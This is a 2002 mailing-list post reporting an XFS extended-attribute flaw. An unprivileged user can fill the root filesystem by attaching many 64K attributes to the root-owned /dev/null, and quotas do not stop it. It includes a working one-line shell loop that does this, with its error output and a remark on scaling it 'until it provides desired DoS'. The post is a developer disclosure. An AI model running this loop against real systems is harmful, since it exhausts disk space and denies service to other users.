On Sat, Apr 06, 2002 at 12:10:11PM +0200, Andi Kleen wrote:
> On Fri, Apr 05, 2002 at 11:41:03PM -0900, Ethan Benson wrote:
> >
> > Hi,
> >
> > I have found an annoying problem with extended attributes in regards
> > to security.
>
> Have you actually tested this? The EA limit is 64K per inode and there
s/per inode/per attribute/
> is an inode space limit on the XFS fs too (normally 25% of the disk space).
> So you can never actually allocate more than 25% of disk space this way
> or even less if you use a different mkfs option. If you set the maximum
> inode space to 5% and always keep >5% free you should be pretty safe.
please try this:
for i in `seq 2000` ; do setfattr -n user.bloat$i -v `perl -e 'print "a" x
65536'` /dev/null ; done
this started failing with:
setfattr: /dev/null: No space left on device
setfattr: /dev/null: No space left on device
setfattr: /dev/null: No space left on device
setfattr: /dev/null: No space left on device
setfattr: /dev/null: No space left on device
setfattr: /dev/null: No space left on device
...
when it completly filled my 68MB / filesystem (it was only about 50%
full). if you have a larger filesystem increase the argument to seq
until it provides desired DoS.
it gets worse, i could not remove the attributes due to No space left
on device, i had to rm /dev/null and recreate it, (then kill all
processes holding it open) before i was able to recover the disk
space.
so having done a full scale test i think this is a severe security
hole. i also just realized since /dev/null is owned by root quotas
can't help much since you would have to apply quotas against root
which is really quite silly and non-useful.
--
Ethan Benson
http://www.alaska.net/~erbenson/
pgp4hCPK8SeDS.pgp
Description: PGP signature
|